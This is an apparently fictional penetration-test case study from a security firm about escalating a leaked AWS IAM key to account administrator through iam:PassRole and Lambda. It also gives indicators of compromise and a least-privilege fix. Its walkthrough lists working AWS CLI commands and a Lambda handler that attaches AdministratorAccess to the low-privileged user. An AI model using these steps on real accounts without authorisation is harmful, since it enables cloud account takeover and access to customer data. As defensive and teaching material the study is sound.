SecureSan Technologies
Cloud · AWS

How a Misconfigured AWS IAM Policy Led to Complete Cloud Environment Compromise

SaaS / CloudAssumed-breach · AWS5-day engagement4 Critical findings90% risk reduction
Illustrative case study. The organisation, personnel, and data below are fictional and created for demonstration. Every technique, tool, payload, and configuration shown is technically accurate and representative of real SecureSan engagements.

01Executive Summary

SecureSan Technologies was engaged by Aperture Analytics (a fictional SaaS data-analytics company) to assess the security of its AWS environment. Beginning from a single long-lived IAM access key that had been committed to a public code repository — a scenario we simulated with the client's consent — our consultants escalated from a low-privileged identity to full AWS account administrator by abusing a dangerous combination of iam:PassRole and lambda:* permissions.

The escalation required no exploit. Every step used documented AWS API calls that the leaked identity was permitted to make. The engagement produced 18 findings (4 Critical, 5 High, 6 Medium, 3 Low), all Critical and High remediated at retest for a 90% risk reduction.

In the cloud, a permission is a capability. The account was not breached — it was operated, exactly as configured, by the wrong person.

02Client Background

Aperture Analytics (fictional) runs a multi-tenant analytics SaaS on AWS, processing customer datasets at scale.

03Business Challenges

Aperture's team had grown its IAM policies organically. Permissions were granted reactively ("just make it work"), and several broad policies had accumulated. The CISO's concern was specific and well-founded: "If one developer key leaks, how far can it go?" Credential leakage via source code is one of the most common real-world cloud breach vectors, so we tested exactly that path.

04Engagement Scope

Assumed-breach cloud assessment. With written authorization, the client provisioned a representative low-privileged IAM user and we treated its access key as "leaked." No console access, no additional privileges — only what that identity carried.

In scopeOut of scope
AWS IAM: users, roles, policies, escalation pathsThe SaaS application layer
Privilege-escalation and lateral movement within the accountCustomer tenants' own AWS accounts
S3 / data exposure reachable from the identityDestructive actions (agreed non-destructive PoC only)

All actions were logged, non-destructive, and coordinated with the client's team in real time.

05Testing Methodology

Testing aligned to the CIS AWS Foundations Benchmark, the AWS Well-Architected Security Pillar, and MITRE ATT&CK for Cloud. The privilege-escalation methodology follows well-documented IAM escalation paths (of the class catalogued by security researchers and tools such as Pacu).

Testing methodology pipelineIdentity ReconPermissionEnumerationEsc-Path AnalysisPrivilegeEscalationImpact ValidationReporting

06Assessment Timeline

DayActivity
1Establish access with leaked key; identity and permission enumeration
2Map escalation paths; identify iam:PassRole + lambda:* combination
3Execute non-destructive privilege escalation to admin; validate
4Assess data exposure & blast radius; collect evidence
5Reporting & remediation workshop with the cloud team
+30Retest — 90% risk reduction confirmed

07Environment Details

ItemDetail
AccountSingle production AWS account (no organization/SCP guardrails)
Leaked identityIAM user svc-etl-dev with a long-lived access key
Key policiesA broad inline policy granting iam:PassRole and lambda:*
LoggingCloudTrail enabled (single region), no automated alerting on IAM changes

08Tools Used

09Attack Surface Analysis

The reachable attack surface from a single leaked key is defined entirely by that identity's effective permissions and the escalation paths they unlock.

Capability heldWhy it mattersRisk
iam:PassRoleLets the identity hand an existing role to an AWS serviceHigh
lambda:CreateFunction / lambda:*Lets the identity create and run code under a passed roleCritical (in combination)
iam:ListRolesReveals which high-privilege roles exist to targetMedium

Individually, each permission has legitimate uses. Together, iam:PassRole + lambda:* is one of the best-known IAM privilege-escalation primitives: create a Lambda, pass it an admin role, and run arbitrary code as that role.

10Reconnaissance Process

We configured the AWS CLI with the leaked key and confirmed the identity:

$ aws sts get-caller-identity
{
  "UserId": "AIDA...",
  "Account": "123456789012",
  "Arn": "arn:aws:iam::123456789012:user/svc-etl-dev"
}

We enumerated effective permissions with enumerate-iam:

$ python enumerate-iam.py --access-key AKIA... --secret-key ...
[+] iam.ListRoles              -> allowed
[+] iam.PassRole               -> allowed
[+] lambda.CreateFunction      -> allowed
[+] lambda.InvokeFunction      -> allowed
[+] s3.ListBuckets             -> allowed

Listing roles revealed a high-privilege target — a role with the AWS-managed AdministratorAccess policy attached, trusted by the Lambda service:

$ aws iam list-roles --query   "Roles[?contains(AssumeRolePolicyDocument.Statement[].Principal.Service,   'lambda.amazonaws.com')].RoleName"
[ "lambda-admin-execution-role" ]

11Vulnerability Discovery

Finding 1 — IAM privilege escalation via PassRole + Lambda (Critical)

The leaked identity could pass a role it did not own to a Lambda function it created, then invoke that function to execute code with the role's (administrator) permissions. This is a complete, exploit-free path from low-privileged user to account administrator.

Finding 2 — Over-privileged managed policy (Critical)

The execution role carried AdministratorAccess — the broadest possible policy — where a narrowly scoped role would have sufficed. This is the CIS-benchmark violation that made escalation catastrophic rather than contained.

Finding 3 — Long-lived access keys (High)

The identity used a static, non-expiring access key. CIS AWS Foundations recommends against long-lived keys precisely because a single leak grants durable access.

12Technical Exploitation Walkthrough

Step 1 — Author attacker code for the Lambda

The function, once running as the admin role, attaches administrator rights to our low-privileged user — making the escalation persistent and demonstrable without destructive action:

# lambda_function.py — runs AS lambda-admin-execution-role
import boto3
def handler(event, context):
    iam = boto3.client('iam')
    iam.attach_user_policy(
        UserName='svc-etl-dev',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
    return "attached"

Step 2 — Create the function, passing the admin role

$ zip fn.zip lambda_function.py
$ aws lambda create-function --function-name etl-helper \
    --runtime python3.12 --handler lambda_function.handler \
    --role arn:aws:iam::123456789012:role/lambda-admin-execution-role \
    --zip-file fileb://fn.zip
{ "FunctionArn": "arn:aws:lambda:...:function:etl-helper" }

AWS permitted the PassRole because the leaked identity's policy allowed it. This is the pivotal moment — a low-privileged user just handed itself an admin role's power.

Step 3 — Invoke and escalate

$ aws lambda invoke --function-name etl-helper out.json
$ cat out.json
"attached"

$ aws iam list-attached-user-policies --user-name svc-etl-dev
{ "AttachedPolicies": [
  {"PolicyName": "AdministratorAccess", "PolicyArn": "..."} ]}
[Screenshot: terminal showing the Lambda invocation succeeding and AdministratorAccess now attached to svc-etl-dev]

Step 4 — Confirm full account control

The previously low-privileged key now had administrator access to the entire account — every S3 bucket of customer data, every RDS instance, every secret in Secrets Manager. We stopped at proof and captured evidence; no data was exfiltrated and the change was reverted with the client.

13Attack Chain

A single leaked key became full account compromise through one permission combination:

AWS IAM privilege-escalation chainYesLeaked long-lived access key(in repo)Enumerate own permissions(enumerate-iam)iam:PassRole + lambda:* granted?Pass a high-priv role to anew LambdaLambda assumes admin role,runs attacker codeFull AWS account compromise

14Business Impact

15MITRE ATT&CK Mapping

TacticTechniqueID
Initial AccessValid Accounts: Cloud AccountsT1078.004
DiscoveryCloud Infrastructure DiscoveryT1580
Privilege EscalationValid Accounts / abuse of IAM permissionsT1078 / T1098
PersistenceAccount Manipulation: Additional Cloud CredentialsT1098.001
CollectionData from Cloud StorageT1530

16CVSS Scoring

FindingCVSS 3.1 vectorScoreSeverity
PassRole + Lambda privilege escalationAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H9.9Critical
AdministratorAccess on service roleAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H9.9Critical
Long-lived access keysAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N7.5High

The escalation scores 9.9 (Scope: Changed — the impact crosses from the compromised identity into the entire account's resources).

17Risk Matrix

Likelihood → / Impact ↓LowMediumHigh
SeverePassRole + Lambda escalation
MajorLong-lived keysNo IAM-change alerting
ModerateSingle-region CloudTrailNo SCP guardrails
MinorUnused roles

18Evidence Collected

Indicators of Compromise

# CloudTrail signals of this escalation:
- lambda:CreateFunction with a PassRole to a high-priv role
- iam:AttachUserPolicy attaching AdministratorAccess
- New Lambda invoked once then abandoned
- API calls from an access key used outside its normal region/UA

19Root Cause Analysis

20Remediation Recommendations

Immediate

// Scope PassRole so only a specific, low-priv role can be passed
{
  "Effect": "Allow",
  "Action": "iam:PassRole",
  "Resource": "arn:aws:iam::123456789012:role/etl-restricted-role",
  "Condition": { "StringEquals":
    { "iam:PassedToService": "lambda.amazonaws.com" } }
}

Short term

Strategic

21Security Improvements After Remediation

At retest:

$ aws lambda create-function --function-name etl-helper2 \
    --role arn:aws:iam::123456789012:role/lambda-admin-execution-role ...
An error occurred (AccessDenied): User svc-etl-dev is not authorized to
perform iam:PassRole on resource lambda-admin-execution-role

22Lessons Learned

23Key Metrics

18
Total findings
4
Critical findings
9.9
Top CVSS score
90%
Risk reduction at retest
3
API calls to admin
100%
Critical/High remediated
0
Exploits required
30d
To verified fix

24Conclusion

Aperture Analytics went from a single leaked developer key to full account administrator in three permitted API calls — because IAM was over-provisioned and ungoverned. The remediation was pure least-privilege: constrain PassRole, scope the execution role, kill long-lived keys, and add guardrails. Aggregate risk fell 90% at retest.

Why This Matters

Cloud breaches rarely look like breaches. There is no alarm, no exploit, no malware — just an identity doing things it was technically allowed to do. That is what makes over-permissioned IAM so dangerous: the attack and normal operation are indistinguishable until the data is already gone.

A five-day assumed-breach assessment mapped the exact path from one leaked key to total compromise and closed it — before a real leaked key (the single most common cloud incident) could do the same. Proactive cloud security testing turns "how far could a leak go?" from an open question into a closed one.

← All case studies